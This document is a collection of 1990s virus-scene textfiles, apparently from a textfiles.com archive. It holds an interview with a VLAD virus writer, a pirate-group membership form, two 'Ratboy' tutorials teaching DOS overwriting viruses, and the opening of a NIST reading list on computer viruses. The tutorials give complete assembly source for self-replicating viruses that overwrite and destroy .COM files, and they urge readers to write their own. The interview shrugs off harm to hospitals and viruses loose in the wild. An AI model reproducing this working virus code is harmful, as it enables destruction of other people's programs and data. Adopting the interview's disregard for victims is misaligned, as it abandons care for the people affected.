to help my virus writing skills. Most of the time I skip my
lectures and get drunk at the club hehe :-)
-What do you do on your spare time?
Writing viruses is my main hobby, (I don't use my computer
unless it is somehow related to computer viruses).
My other hobby is reading fantasy books.
-Do you have a girlfriend/wife or a steady relationship?
Nope.
-How would you describe the average viruswriter?
Most of them are fairly cool on an individual basis. The
lame, "eye w1ll inf3ct th3 w0rld" attitude normally leaves
coders if they get any good.
-What do you think nearly all viruswriters share in-common?
All are young males.
The Unforgiven disagrees with me about this, but I beleive
more than half of virus writers come from broken homes of some
sort. This doesn't hold true for alot of virus writers (eg The Unforgiven)
but I would say there is a higher rate than in the general community.
Of the Australian virus writers only one that I know of, doesn't come from
a disfunctional family. I don't know what this other fact means, but
of the Australian virus writers, all are either immigrants, or the
children of immigrants. The only exception is me :-)
-From where did you get you handle, Qark?
I just picked it out before going on irc one time, and I've stuck with it.
-When did you discover the world of computers?
I have only owned a computer for about three years and before
that I knew nothing about them.
-How long have you been active in the virus-scene, were you active
in any scene before the virus-scene?
I have been in the virus scene since the end of 1994, and before
that I used to leech warez :-)
-How did you come into the virus business?
The first thing I did when I got a computer was start trying to write
viruses. That's half the reason I got a computer in the first place.
It was always a fascination of mine, ever since I heard the concept.
-What parts of the underground do you think needs improvement,
and what do you think is lacking in the virus-community?
I hate the entire underground basically. Most people can't do shit,
but like to show off over nothing.
-Positive/negative aspects of the (mainly virus) scene?
Positive: alot of the people you meet are really interesting.
Negative: there aren't many good coders around at the moment.
-Have you been involved in any other group than Vlad,
(if yes, which group, and what did you do for them?)
nope
-What's VLAD goal?
To write cool new viruses.
-What does it take to become a VLAD member?
You have to be a good coder, and all the members have to like you.
We have too many members right now, so it's almost impossible to become
a member at the moment, unless someone quits.
-Have you met any Vlad member privately?
I've met Metabolis about five times, and Quantum twice.
-How is VLAD organized?
Metabolis is the leader and makes all the decisions.
I'm 'pseudo-second in command' or something. My main responsibility
is gathering together and organising our viruses and articles for the
magazine, which I also do the coding for.
-Do VLAD-australia have meetings or so?
Every magazine I go over to Metabolis' place and we finish off the
magazine together, and since we are the only two Australian VLAD
members, thats a VLAD-Australia meeting :-)
Neuron and Quantum are normally at the VLAD meetings so it means we
have four virus writers in the one place, which is an interesting
experience. If Talon had turned up, it would have been a proper Australian
virus-con.
-Have you ever had any trouble with any members?
Well, once I punched Quantum in the face for strangling me, but
if you mean internal politics, none :-)
-Have VLAD got in problems with any other virus-group, or person
involved in the vx-scene? (Why did it started, how did it end?)
We had a flame-war with Aristotle about a year ago, but that seems to
have just faded away...
-Do you have any couriers that spread your viruses around infecting
software?
No.
-Which VLAD-viruses has leaked in the wild?
Hemlock infected a few people. I suspect it was spread by
over-zealous magazine fans.
-What do you think about viruses leaking in the wild?
Couldn't give a shit :-)
-What responses have VLAD had concerning the VLAD zines?
We get plenty of fan-mail (when our email address is working), all of
which is positive, but in the newsgroups there is the occasional ignorant
person who objects to us.
-Do you still remember who gave VLAD their first feedback?
You ? :-)
-Do you think VLAD changed the vx-community in any way?
Anything we write influences the coding styles of many virus writers.
VLAD invented the windows executable infection technique that everybody
who wants to infect windows is using.
-Why do you think VLAD got *a lot* of attention in the vx (av as well?)
pretty close after the first vlad-zine?
Did we ? I sure didn't notice.. maybe it was our secret areas :-)
Nowadays, I think it is because of the quality of our viruses,
and they wonder what new things we will invent.
-What is your opinion about your zines? (What do you like in them, what
are they missing?).
Issues 1 and 2 sucked, the rest were better. In the last couple of issues
we didn't have many plain articles that anyone could read. Most of the
stuff was so complex that few people could understand it. We'd like to
fix that.
-How do you think people will remember VLAD when the viruswriting
is dead?
As the worlds leading virus development group. (hope)
-In the first Vlad-Zine, Metabolis said Vlad should be around until there
was no new techniques to discover conserning viruses, do you think this
ever will stop, or when do you think it will stop?
Probably after Win95 is infected.
-How come you started coding assembly language?
To write viruses.
-When did you start with viruswriting?
At the start of 1994.
-What motivates you to write computer viruses?
I enjoy the programming techniques. If anything was as much fun, I'd do
that instead. Infecting people has nothing to do with my motivation.
-Why did you start to write computer viruses?
I always wanted to write one, even before I knew anything about computers.
Viruses fascinated me, so when I got a computer that's what I devoted
myself to.
-Did you write viruses before VLAD?
I wrote one lame direct action COM infector before VLAD.
-After quite some time with viruses, what makes you go on?
Just the challenge. One day I will get bored with it all and quit.
-You have 'invented' a lot of new virus-techniques, which one was
the hardest to think of and the hardest to implement?
The windows NE infection, because reading the windows format is like
looking at hieroglyphics. Every table points to another which is indexed
to a variable array, with a structure listed in table 2-6
except in the case where .. etc etc (you get my drift)
-Any special viruses you have had a lot of good feedback from?
Winsurfer, MegaStealth, and I got some compliments from people
I respect about my Horsa virus.
-How do you think the viruswriting future looks for Win95 and DOS?
The DOS future is as bright as ever, but Win95 waits to be conquered...
-Which do you think is best polymorphic virus around ?
CPE-APE is excellent, if somewhat buggy.
-How do you think a polymorphic virus/engine should be styled?
Anti-Heuristic, continuously changing registers as the
key/pointer etc, uses cryptanalytically sophisticated
encryption, different decryptor styles etc
-Are you into other things in the underground-computing or just
viruswriting?
Just virus-writing. The hack/phreak scene is packed with
lamers (even worse than the virus scene).
-Has the scene in any way influented on your real life?
It taught me how to code better than my lecturers, so I get
better marks at university.
-Would you feel guilty if one of your viruses made damage to a
hospital?
I would think about it for a while, but after that I wouldn't
worry about it.
-Do you find it morally wrong to, write viruses, spread viruses
into the wild or share source-code?
None of them offend me, but I wouldn't spread viruses because
it's just a waste of time. If someone else does, I couldnt
care less.
-Which virus magazine do you like reading the most?
Probably 40hex because it is well written and has the best coders.
-What do you think a virus-zine should include?
See VLAD 3-5 :-)
-Which virus programmer do you admire (or like?)
Talon was always my idol as I was just starting out, because
he is intelligent and a good coder.
I like a number of the virus writers I know, and consider them my friends.
-Which country do you consider the best/most active in viruswriting?
Australia! We have more -active- coders than the USA at the moment.
Actually, Sweden, Russia, Italy, Taiwan and Holland are all
fairly good.
-What do you think about these virus generators, such as VCL and PS-MPC?
What would you like to say to those using them?
I don't have a problem with them, although many virus writers
say that it degrades the art of coding.
Using creation labs is lame. A person who uses them should
either write their own virus or spread a good undetectable one.
-What do you think the future looks like for virus-generators?
Have you ever considered writing a generator?
Virus Generators will still be created, probably making
more complex viruses then previously.
I have thought about writing one before, but Metabolis
doesn't like the idea much, but it's still a possibility.
-What do you think about the macro-virus which've appeared lately?
Do you think they'll start a new trend in viruswriting?
The new macro viruses are ok, but I will stick with assembly language.
As applications of that kind grow more complex it will become more
common. Soon things like winword will resemble an operating system.
-WW6.Nuclear could drop Ph33r that you had written, was you aware of this
when it got distributed into the wild?
I knew it. When the author told me he was going to drop
ph33r, I was pleased.
Winword.Nuclear wasn't written by me! Alot of people think
it was, but this is incorrect. I did, however, write ph33r.
-How would you define the word computer-virus.
A segment of code that copies itself around the place.
-Describe the perfect virus:
COM/EXE/NE, no bugs, excellent polymorphism, good stealth.
Change 'NE' to 'PE' when win95 infection has been developed.
-Is this type of virus around today?
No.
-Describe the perfect viruswriter:
See : "priest" (except for him letting his real name out).
-Describe the AV-community with a few lines:
I respect people like Eugene Kaspersky and Frans Veldman who
are good progammers and provide quality products, but others are
lamers, who vye to out-do their fellow AV-ers in trying to
condemn virus writers.
-Which AV-program do you think is the best and why?
AVP, because of it's excellent descriptions and polymorphism
detection. It should fix up it's scanning speed and
user interface to become even better.
-What do you think about the future for the underground?
(Like laws about H/P/V and stuff.. )
Banning virus writing wouldn't change a thing.
Couldn't care less about hacking or phreaking.
-Do you think in someway viruswriting or spreading could be considered
a crime?
Spreading should be a crime, but not writing.
To prove someone was writing a virus, they'd have to install
a video camera and record you writing virus code, otherwise
you could just say you got the source off the net or something.
The government could abuse this and say anyone is a virus
writer as an excuse to invade their home.
So, banning virus writing would gain one or two convictions
(maybe) and stand the chance of being used as a tool in
totalitarianism.
-Do you know/heard of any new technics coming in the near future?
Win 95 ? And a polymorphic engine with layers and layers of
encryption.
-Any advice to people who want's to learn the basic of virus-writing?
Get dark angels funky virus writing guides.
-Can you be reached somewhere?
On irc as 'qark' and via email at the vlad email address.
Our homepage is at http://nether.net/~halflife/
Our magazines can be ftp'ed from:
ftp.netcom.com /pub/br/bradleym/Zines/VLAD
ftp.fc.net /pub/deadkat/virus/vlad
-Are you kind enough to answer these two questions?
1. How can you miss something you never had?
2. How can you regret something you never did?
1. If the need is self-evident.
2. Inaction can be as bad as action.
-Something else you wish to say but never had the opportunity to
say before?
Don't write viruses which have been done before. Do something new!
-Do you wish to send any greets / goto hell messages?
Q the Misanthrope: VLAD got your message and we are glad you like us.
All your viruses are pretty cool (although your code is somewhat
unreadable). Get an internet account! Most virus writers meet on
irc nowadays.
Thanx to pb for all the internet axs he gives me :-)
================================================================================

139
textfiles.com/virus/rab_mem.apl Normal file
View File

@@ -0,0 +1,139 @@
============================================================================
Fill-out this form, rename the file to yer name and zip it. Then Upload yer
application in Privite to TGS. Thanx......ProTurbo - Sysop of The G Spot
============================================================================
Before you start filling out the application, make sure that you
are very serious about it. All I'm saying is do not waste my time.
M E M B E R S H I P A P P L I C A T I O N F O R M
----------------------------------------------------
Which position are you applying for:
[] - RABID Courier
[] - RABID Programmer
[] - RABID QC/R&D
[] - RABID Spy
[] - RABID Site
1. What is yer alias?
______________________________________________
2. What is yer real name?
______________________________________________
3. Give me a number and a time so we can talk voice.
______________________________________________
4. How Long have you been pirating?
______________________________________________
5. How old are you and what do you do for a living.
______________________________________________
______________________________________________
6. Name 3 users for references.
______________________________________________
______________________________________________
______________________________________________
7. Are you affiliated with any group. If YES name them.
______________________________________________
______________________________________________
8. Which programing skills do you have and how long have
you been programming?
______________________________________________
______________________________________________
______________________________________________
9. Are you a Sysop?, If so name yer board, number and everything else.
______________________________________________
______________________________________________
______________________________________________
10. Name Pirate/PD boards with numbers yer on.
______________________________________________
______________________________________________
______________________________________________
______________________________________________
11. Did you ever write a virus?, if so name them.
______________________________________________
______________________________________________
______________________________________________
12. Do you call LD?
______________________________________________
______________________________________________
13. Specifically where did you hear about RABID. Be very specific.
______________________________________________
______________________________________________
______________________________________________
______________________________________________
Well that's it, I would also like for you to write me a letter
about you and why you want to joing RABID.
Also write anything else that you think may help yer application.

294
textfiles.com/virus/ratboy-1.txt Normal file
View File

@@ -0,0 +1,294 @@
/\---/\ RATBOY'S OVERWRITING VIRUS TUTORIAL
( . . )
\ / WARNING: The information contain within here can be
\ / ^^^^^^^ dangerous to you mind and computer!!!!!!!!
\*/ I assume no responsiblity!!!!!!!!!
#
Well here it is my first instructional tutorial. I felt it was
nesscary for this file since I could not find any tutorials that taught
virus writing from the basic overwriting virus. Well that's how I started
and now I want to show you. So that you too can have a long and fruitful
life of codeing viruses. :)
OVERWRITING VIRUSES
-=What is an overwritting virus?
I'm glad you asked that. :) An overwriting virus is a virus that reproduces
by overwriting the first parts of a program with itself. Here is an example:
+-------------------------+ (I got this example from
| P R O G R A M | 40Hex, thanks P/S!!!!)
+-------------------------+
plus:
+--------+
| VIRUS! |
+--------+
equals:
+--------+----------------+
| VIRUS! | G R A M |
+--------+----------------+
As you can see the first part of the program was overwritten with
the virus code. Since important parts of the original program are
effectivly destroyed it won't ever run, but the virus code will.
As you can guess overwriting viruses are very destructive and not very
productive. But you must learn to walk before you can do the Polka!!
-=So what does one need to know to write an overwriting virus?
Another question I'm glad you asked. :) Well having a basic knowledge in
Assembly is a must, but it is not very differcult. As a virus writer, I
only know one programing language, Assembly. I didn't even learn BASIC.
So don't listen to those that say don't learn Assembly, it's a wonderful
programing language. At the end of this file I'll be recomending books and
things to do to help ya on your way to Assembly and virus writing.
Well let's get down to codeing!!!! :)
We will be dealing with .Com files. So here is the basic setup for a .Com
file in an Assembly source file:
-----------------------------------------------------------------------------
CODE SEGMENT
ASSUME CS:CODE,DS:CODE ;in .Com files the data, code, extra
;and stack segments are all the same.
ORG 100H ;this is where all .Com files start
;in memory. This allows room for the
;PSP.
STARTVX PROC NEAR
blah! ;all your virus body goes here
blah!
blah!
STARTVX ENDP
blah! ;all your 'db's go here etc..etc...
CODE ENDS
END STARTVX
-----------------------------------------------------------------------------
See the set up isn't really hard to follow, but the lack of info in that
example can be confusing. We'll get to a full Virus source code a little
later.
Now what is the basic setup for a simple overwriting virus? Well
let's look at the order of operations:
(1) find a file
(2) open the found file
(3) write the virus to the opened file (infect it)
(4) close the file
(5) exit
Well as you can see there is nothing but pure replication functions in this
setup. Well I wanted it to be easy and not to boog you down with encryption,
id bytes, etc... We are dealing with ZEN and the art of basic viruses!
Here we go looking at these steps of an simple overwriting virus:
(1) FIND FIRST FILE!
the inputs:
AH: 4EH
CX: FILE ATTRIBUTES
DX: OFFSET ADDRESS OF FILE NAME
DS: SEGMENT ADDRESS OF FILE NAME
Now let's see how we would put this into our little program:
mov ah,4eh ;find first service
mov cx,0000h ;we 0'ed cx for normal files
mov dx,offset star_com ;the file mask for .Com file
;you'll see
int 21h
;now of course when you said star_com you need to tell the Assembler what
;you are talking about. Here it is:
star_com: db "*.com",0
;ya see how it will work. With the use of the wild card '*' the first file
;that has the ending of .com will be found. This is easy isn't it?
Now you can see that we didn't need to touch DS: since CS=DS=ES=SS.
So the Star_com already was in the Data Segment. Yay!!!!! Love em .Com
files. Sorry need to get back on track.
Now before we can go on and talk about open a found file for writing
to(infecting), we must talk about the Disk Transfer Area (DTA). When you
find that first file, information about the file found goes into the DTA,
everything from file name to date of creation. Here's the setup:
0h db 21 dup(0) ;reserved for DOS uses
15h db 00 ;file attributes
16h dw 0000 ;file time
18h dw 0000 ;file date
1ah dd 00000000 ;file size
1eh db 13 dup(0) ;asciiz of the file name.
That is the layout of the DTA. Now the DTA lies in the PSP. The
first 256 (100h) bytes infront of the .Com file. It's address is 80h.
Most of the time in virus writing, you would want to move the DTA to a
location where you can manipulate it without possbile messing up the PSP.
Well for our case, with a simple overwriting virus, we don't need to worry.
All we are going to do is read from the DTA, the file name we just have
found. Now this is how we will address the file name, now we know that
the DTA starts at 80h, and we know that at 1eh from the DTA's begining is
the asciiz of the file name. So we just add them together and see what we
get, 80h + 1eh = 9eh. Well that is were it's located, now let's move on
to the next step.
(2) OPENING THE FOUND FILE!
the inputs:
AH: 3DH
AL: 00H ;opened for reading only
01H ;opened for writing only
02H ;opened for both reading and writing
DX: OFFSET ADDRESS OF THE FILE NAME
DS: SEGMENT ADDRESS OF THE FILE NAME
outputs:
AX: FILE HANDLE
Now look at it setup in the format we need to know.
mov ah,3dh ;open file
mov al,02h ;open it for reading and writing
mov dx,9eh ;remember this is where the name in the DTA
int 21h
Now Dos services will return a file handle of the file we just opened. The
file handle is nothing more than a number that dos uses to know where it
will read from(the file) or write to(the file). We don't want it in AX
since the next step that you will see we need it in BX. Here's a easy way
to move it:
xchg bx,ax ;that will put the file handle into bx in one
;step!!!
Ok now the down and dirty stuff. Infecting the file we just opened. Ha ha!
(3)WRITING TO THE OPENED FILE(INFECTING)
the inputs:
AH: 40H
BX: FILE HANDLE
CX: BYTES TO WRITE
DX: OFFSET OF ADDRESS OF THE BEGINING OF THE VIRUS
Here we go again with seeing what it will look like:
mov ah,40h
mov cx,offset endvx - offset startvx ;this will find the virus
;lenth, how many bytes to
;write....
mov dx,offset startvx ;where the virus starts
int 21h
Ahhhhhhhhh! I always feel so relaxed after reproducing....ahh.hh...h!
Oh...where was I, a...well now that we have copied the virus to the file,
now we can close it up.
(4)CLOSE THE FILE! ;Whata-ya live in a barn!
the inputs:
AX: 3EH
BX: FILE HANDLE
Now before we go on remember how after we opened the file that we
put the file handle in BX. So since we didn't mess with BX we should just
have to:
mov ah,3eh
int 21h
Now for the final and last step the exiting. Here ya go:
(5)EXIT!
int 20h
Well I know it isn't really pretty, but it works.
Well let's look at how all of it fits together:
-----------------------------------------------------------------------------
Code Segment
Assume CS:code,DS:code
Org 100h
startvx proc near
mov ah,4eh
mov cx,0000h
mov dx,offset star_com
int 21h
mov ah,3dh
mov al,02h
mov dx,9eh
int 21h
xchg bx,ax
mov ah,40h
mov cx,offset endvx - offset startvx
mov dx,offset startvx
int 21h
mov ah,3eh
int 21h
int 20h
startvx endp
star_com: db "*.com",0
endvx label near
code ends
end startvx
-----------------------------------------------------------------------------
Sorry I didn't put comments in, but that was done so that if you can
not read along and follow what is going on. You need to re-read this file,
and practice more Assembly.
-=Now that I know overwriting virus programing what can I use them for?
Another fine question. :) Overwriting viruses are simple, and being simple
they are fairly easy to follow and program. That in it's self will help
educate you in the basics of a virus, writing, reading, find file, etc....
Also since it's fairly easy to write up an overwriting virus you can use them
as test platforms for other routines. Formating HD's, visual displays,
encryption, etc..... This is so that you can concentrate on the how
the test routine will work not the virus.
-=Now that I have the basics, is that all I need?
OH No, there are many things that you need, the knowledge being the hardest.
Read Assembler Inside and Out, and Using Assembly, they're really good books.
You need, an Assembler(A86+TASM), lot's of source codes to learn from(some
included). It just dosen't stop there, you will need a some really good
virus scanners to track what your virus is doing. F-prot and Tbav are
great, but if you come up with a virus that is unscannerable they won't work.
That's why I highly recommend INVIRCIBLE. It will protect you from real
screw ups, track your virus movement, even unscannibles, even protect you
from your 'friends' viruses on you computer >:>. It's the best anti-virus
protection out there, you need to know your enemy, and it's a powerful tool.
The biggest and most important thing you can have is people that are helpful
enough to take the time to answer the questions that form in your mind. You
will see some of those people in the closing credits of this file. Talk to
them.
Now you are on to a long and fruitful life of making your
own viruses. Remember pratice, ask questions, read and
of course have fun!!!!!!!
*****************************************************************************
Now I would like to take the time to thank a few people:
-=*God, for making me possible
-=*My Wife, for putting up with me!!
-=*FC, thanks for all the info and help, dude!!!
-=*Invircible, yea I know it's a piece of software, but it has covered my but
enough times. Thanks Mike!!!!!!!!!!!!!!!!!
-=*Aristotle, yea Aristotle, the dude help start me out.
-=*Vlad, Immortal Riot, NuKE, Falcon, P/S, Mad Arab, Terminal Velocity..etc..

404
textfiles.com/virus/ratboy-2.txt Normal file
View File

@@ -0,0 +1,404 @@
/\---/\ RATBOY'S OVER WRITTING VIRUS TUTORIAL #2
( . . )
\ / WARNING: Information Contained Within Can Eat Both Your
\ / ^^^^^^^ Mind, Hard Drive and your dog.
\*/ I assume no responsiblity!!!!!!
#
Hello everyone!!!! Considering I have gotten positive responses about
Ratboy#1 I decided to continue on with your lessions in simple viruses.
So what is in store for this issue? We will be going over some terms to
help us in this issue. Also, we will move on to more complex overwriting
.Com viruses. If you read and understood Ratboy#1, you should understand
how to due simple file operations. Such as, you need to open the victum
for reading and writing, and if you are a ATF agent you need to open the
file to shoot it in the back like it was one of your own agents. You will
read how to read from your file, write to it, "tag" it, and more helpful
example code to help with your further learning of viruses. :) Yea!!
Now the boreing parts:
What is a JMP (jump)?
A jump is kinda like what it sounds like, a jump. Since we know
that an assembly source reads top to bottom, sometimes we need to
skip around in a program depending on the situation. Here's a simple
example:
call delta_offset
delta_offset:
pop bp
sub bp,delta_offset
jmp restore ;<===this is a jump :)
eat_hd:
"blah"
"blah"
As you can see, in the example, we jumped over eat_hd and anything
else that was between the jump and restore. A real simple
explanation of how a jump works is like this. A jump when put
together by the assembler, well be converted to a jump without
the label but a displacement. Like this:
jmp anywhere
Really means jmp 45 bytes
As you can see the number is postive so it a foward jump (negative
would be backwards). Now I think I'm getting too far, I just wanted
you to understand it's a displacement. I'm not even going into
conditional jumps since I did say in the Ratboy#1 you do need to
understand Assembly. I know a lot of this should be old hat, but
bare with me for now. :)
I was recently asked what is a CALL?
A call is like a jump with a return address. When a Call is made,
the next line offset(address) is pushed into the stack, and a jump
to the place called is made. Once there, you can return by using
RET. This RET will pop the return address off the stack and jump
there.
Simple example:
mov al,02h
call mov_ptr ;<==the next line's address it put into
;the stack (that would be eat_hd) and a
;jump is made to mov_ptr
eat_hd:
"blah"
"blah"
"blah"
jmp exit ;<==simple review, how does this work?
mov-ptr:
"blah"
"blah"
"blah"
ret ;ah..now the return address(eat_hd) is
;popped off the stack and a jump is made
;to it
Another question was what is an OFFSET?
Since we are so far just dealing with .Com files make this real
simple. An offset is like an address. If you know where you live,
then you understand how and address works.
Simple Simple Example:
Where does Debby live?
Oh, on 16th St. and 5th Ave. (that is an example of an Offset)
Review:
Where does Debby live?
Oh, go down three blocks and the third house on the left.
(this is an example of a jump, see the displacement?)
Another question is what is LEA?
LEA stands for Load Effective Address. Yarn! Too technical. Here's
how it works. Remember in Ratboy#1 when looking for a file, you
needed to load the file type(*.com) offset into dx, like this:
mov dx,offset file_type
well you can do this instead:
lea dx,file_type
Nuff said. Practice with it, see its ranges of use.
Ok I know some one must have fallen asleep, if this bores you just go ahead
and read Dark Angel's Virus Writing Guides, maybe they are up to speed with
you.
How can I speed up my programs?
Simple, kinda think of speed as being the least amount of bytes
nessary for you to carry out the job.
example:
mov ax,0 ;3 bytes
sub ax,ax ;2 bytes
So which one would you figure to be the faster. I used sub ax,ax
since I don't want to even go into explaining XOR, but XOR AX,AX
will do the samethin. Do some reading up on it, you'll need it for
encryption later on in your virus writing carreer. The Sub should
make sense, subtract a number from itself = 0.
Also here's another way of putting what is AX in BX.
Instead of saying:
mov bx,ax ;2 bytes
say:
xchg bx,ax ;1 byte
Ya get it?
Now down to the exciting part of doing something. Yea!!!!
Ok in the last issue if you made your virus and you noticed that it infected
the first file and not any others, that's because it was real simple. This
time we will teach your little life form how to determine if the file is
already infected. Now how do you make sure you know which underwear are
your's at summer camp, your mom sewed your name inside of them. If you are
over 30 and your mom still does this, you are a geek. No arguements, you are
a Geek.
Ok, we need to put in, the infected file, some type of marker, so that we
can later read it. Let's keep this simple, since ofcourse that's the motive
of this tutorial. I will use the letter "r" for RaTBoY. We will put
that "infection marker" right after the jump. So it will kinda look like
this:
virus_start:
jmp find_first
me db 'r'
find_first:
"blah"
"blah"
Ya see it? Now we will go on. Since to do it all you have to do is put the
Me db 'r' in the front of your virus. Now we need to put that jump in
there, for the file to go over the 'r' and start looking for the file. All
the virus needs to do is read the first four bytes of a file, and check if
the 4th (jmp + offset = 3bytes) byte to identify if it's already infected.
Now let's look at the order of operations. For you english majors this is
outline. :)
(I) find file
(a)no files to infect...EXIT
(II) open file for reading
(III) read first four bytes
(IV) close file
(V) compare to id byte(infection marker)
(a) if infected already:
1. setup to find next file
2. goto step I
(b) if not infected continue on
(VI) open file for read/write
(VII) write self to file
(VIII) close file
(IX) exit
Now that should not be such a differcult virus to make. Some of this
material will be review for you and a chance to see if you can still
understand everything clearly.
-=Step I=-
~~~~~~
Now of course we need to find the first file. Here are the required inputs:
ah = 4eh
cx = atributes
dx = file type (ie. *.com)
int 21h
if the carry flag is set then there were no files, so if:
jc exit ;jump to exit if no files
not bad if you can remember this off the top of your head. I think I went
over this well enough in Ratboy#1, so not to bore you I go on.
-=Step II=-
~~~~~~~
Now we need to open that file to read and write to it. Inputs are:
ax = 3d00h ;remember the value of AL will setup
;for the access you want
;al = 00h(read only)
;al = 01h(write only)
;al = 02h(read/write)
dx = offset address of file name
int 21h
Returns:
ax = file handle (or error code..nah can't happen)
Now do you remember where we get that file name? Why of course you know
this, it's in the DTA. Now since we didn't mess with it, it should be
at 80h in the Program Segment Prefix (PSP). So if you know that and you've
read Ratboy#1 where do we look for the address of the file name?
That's right 9eh. Remember to put the file handle in BX where we will use it
later(ie. xchg bx,ax) Since we went over this in Ratboy#1 we'll go on.
-=Step III=-
~~~~~~~~
Now comes something new. We will read the first four bytes of the victum
file, and put it in our buffer, HOLDN_PLACE. Here's the function's inputs:
ah = 3fh
bx = file handle
cx = bytes to read
dx = offset of buffer(buffer = the place you put the read byte(s))
int 21h
Here's how it would look in your virus:
***Remember that at the end of step two we put the file handle in bx***
mov ah,3fh
mov cx,4
lea dx,holdn_place
int 21h
and ofcourse at the end to the virus:
holdn_place db ?,?,?,?
-=Step IV=-
~~~~~~~
Close up the file. So if it's infected, we just move on. If the file is not
infected, we open it up for read and write access. Inputs:
ax = 3eh
int 21h
Simple enough?
-=Step V=-
~~~~~~
Now we will compare the four bytes of the possible victum to the id byte.
cmp byte ptr [holdn_place +3],'r' ;told ya I would use a 'r'
jnz open_it_again ;if not same then time to infect
mov ah,4fh ;now we set up ah with 4fh(find next)
;we could use a whole new find file routine but we will
;use the the one from find first, just that now ah=4fh
;if that confused you read the source for the setup.
-=Step VI=-
~~~~~~~
Now since it passed the test of not being infected, just reopen it.
This time so we can write to it. :) Then inputs:
ax = 3d02h
dx = offset of file name
int 21h
Just to go over it one more time here's what it will look like:
mov ax,3d02h
mov dx,9eh ;That's where the file name is in the DTA
int 21h
xchg bx,ax ;remember to put that file handle in BX :)
-=Step VII=-
~~~~~~~~
Of course this write to victum part should be real old hat for ya, since
this is the part that seperates a lame trojan from a |< 00\_ virus.
write to file inputs:
ah = 40h(hey isn't that a magazine?)
cx = number of bytes to write(size of virus)
bx = file handle(victum)
dx = offset address of buffer(beginning of virus)
If unfamiliar with writing to file, just wait and look over the source at
the end of this file.
-=Step VIII=-
~~~~~~~~~
Close file....sorry if this is getting repetative, but that is the sign of
you learning how to do this real well. Inputs:
ah = 3eh
bx = file handle(victum)
-=Step IX=-
~~~~~~~
Exit. Here's a real easy way:
INT 20h
Well that is enough of that piece by piece construction. Let's look at the
finish part.
;Ratboy tutorial over writer #2 virus
code segment ;these part should look familar
assume cs:code,ds:code
org 100h
virus proc near
virus_start:
jmp find_first
db 'r' ;there's that id byte
find_first: ;load ah with 4eh for finding first
mov ah,4eh ;file like the file_type
find_file:
xor cx,cx ;this put a 0 in cx, remember? The 0
;means look for normal attributes
lea dx,file_type ;sets up for what type of file we're
;looking for, *.com
int 21h
jc exit ;no files, time to leave.
open_file:
mov ax,3d00h ;open file found for reading from.
mov dx,9eh ;the file name is in the DTA
int 21h
xchg bx,ax ;remember that ax will return with the file
;handle, and we need that is bx :)
read_file:
mov ah,3fh ;read file
mov cx,4 ;four bytes
lea dx,holdn_place ;that's where it's going.... ;)
int 21h
close_it_up:
mov ah,3eh ;just like it says
int 21h
compare:
cmp byte ptr[holdn_place + 3],'r' ;check if there is a 'r'
jnz open_it_up_again ;not there ok let's infect
mov ah,4fh ;ok let's setup to look for another file
jmp find_file ;ah..you see how we will be using find_file
;but this time ah=4fh not 4eh. See how it's
;different, but the same.
open_it_up_again:
mov ax,3d02h ;Alright, we have a live one here!!!!
mov dx,9eh ;let's get that file name again
int 21h
xchg bx,ax ;yup, once again.
infect:
mov ah,40h
mov cx,offset endvx - offset virus_start
;the end minus the beginning gives the lenth
;of the virus. #of bytes to write.
lea dx,virus_start ;the virus's begining so this tells where to
;to start writing from and bx contains the
;file handle, where to write to.
int 21h
close_victum:
mov ah,3eh ;now let's close up the victum
int 21h
exit: int 20h ;time to exit, later!!!
file_type db "*.com",0
holdn_place db ?,?,?,?
endvx label near
virus endp
code ends
end virus_start
I really do hope that this tutoral has been helpful to you. Remember if you
find this boring. Then you know enough write effective overwriting viruses,
and you should move on to other types of virus.
Now remember the best teacher in virus writer is yourself practicing. So if
you want to try something different, try it. Just don't do it in your DOS
directory. :)
Also Included with this file: sources to overwriters and Ratboy viruses.
You still need an Assembler, Bait files, a good reference book and not
to forget good people to ask a lot of dumb questions to. Like I do. :)
Of course that usual ending where I thank all those that have helped me:
-=GOD: I woke up breathing today. :)
-=Mrs. Ratboy: For putting up with me ;)
-=FC: For all the help dude!!!!!!!!!!!!
-=Aristotle: No Aristotle I didn't mean you when I said GOD, but Thanks.
-=M.P.: Love ya software, Invircible.
-=Thanks to these guys and groups: Virogen, Terminal Velocity, NuKE, Falcon,
Vlad, Immortal Riot, P/S, ACVR, and every virus writer I didn't mention!!!

441
textfiles.com/virus/readlist.vir Normal file
View File

@@ -0,0 +1,441 @@
An Abbreviated Bibliography for
Computer Viruses
and
Related Security Issues
Revised
April 18, 1990
NIST The National Institute of Standards and Technology
ABSTRACT
This document provides a list of suggested
readings about computer viruses and other
related threats to computer security. The
primary intended audience is management and
those who need access to the basic facts,
however readings are included that are also
suitable for technically-oriented individuals
who wish to learn more about the nature of
computer viruses and techniques that can be
used to reduce their potential threat. The
suggested readings range from general discus-
sions on the nature of viruses and related
threats, to technical articles which explore
the details of various viruses, the mechan-
isms they attack, and methods for controlling
these threats to computer security. Other
articles are included that deal with more
general aspects of computer security, but
which have some bearing on the problem.
The National Institute of Standards and Technology
The National Institute of Standards and Tech-
nology (NIST) has responsibility within the
Federal Government for computer science and
technology activities. The programs of the
NIST National Computer Systems Laboratory
(NCSL) are designed to provide ADP standards,
guidelines, and technical advisory services
to improve the effectiveness of computer
utilization and security, and to perform
appropriate research and development efforts
as foundation for such activities and prog-
rams. Copies of this paper as well as other
publications may be obtained from the follow-
ing address:
National Institute of Standards and Technology
Computer Security Management and Evaluation Group
Computer Security Division
A216, Technology
Gaithersburg, MD 20899
BASIC TERMS
The following list provides general definitions for basic terms
used throughout the literature. Some of the terms are relatively
new and their definitions are not widely agreed upon, thus they
may be used differently elsewhere.
Computer Virus: A name for
software written to cause some
form(s) of damage to a comput-
ing system. Computer viruses
copy their instructions to
other programs; the other pro-
grams may continue to copy the
instructions to more programs.
Depending on the author's mo-
tives, the instructions may
cause many different forms of
damage, such as deleting files
or crashing the system. Com-
puter viruses are so named be-
cause of their functional sim-
ilarity to biological viruses,
in that they can spread rapid-
ly throughout a host system.
The term is sometimes used in
a general sense to cover many
different types of harmful
software, such as Trojan hor-
ses or network worms.
Network Worm: A name for a
program or command file that
uses a computer network as a
means for causing damage to
computing systems. From one
system, a network worm may at-
tack a second system by first
establishing a network connec-
tion with the second system.
The worm may then spread to
other systems in the same man-
ner. A network worm is simil-
ar to a computer virus in that
its instructions can cause
many different forms of
damage. However, a worm is a
self-contained program that
spreads to other systems,
whereas a virus spreads to
programs within the same sys-
tem (a worm could do that as
well).
Malicious Software: A general
term for computer viruses,
network worms, Trojan horses,
and other software designed to
deliberately circumvent
established security
mechanisms or codes of ethical
conduct or both, to adversely
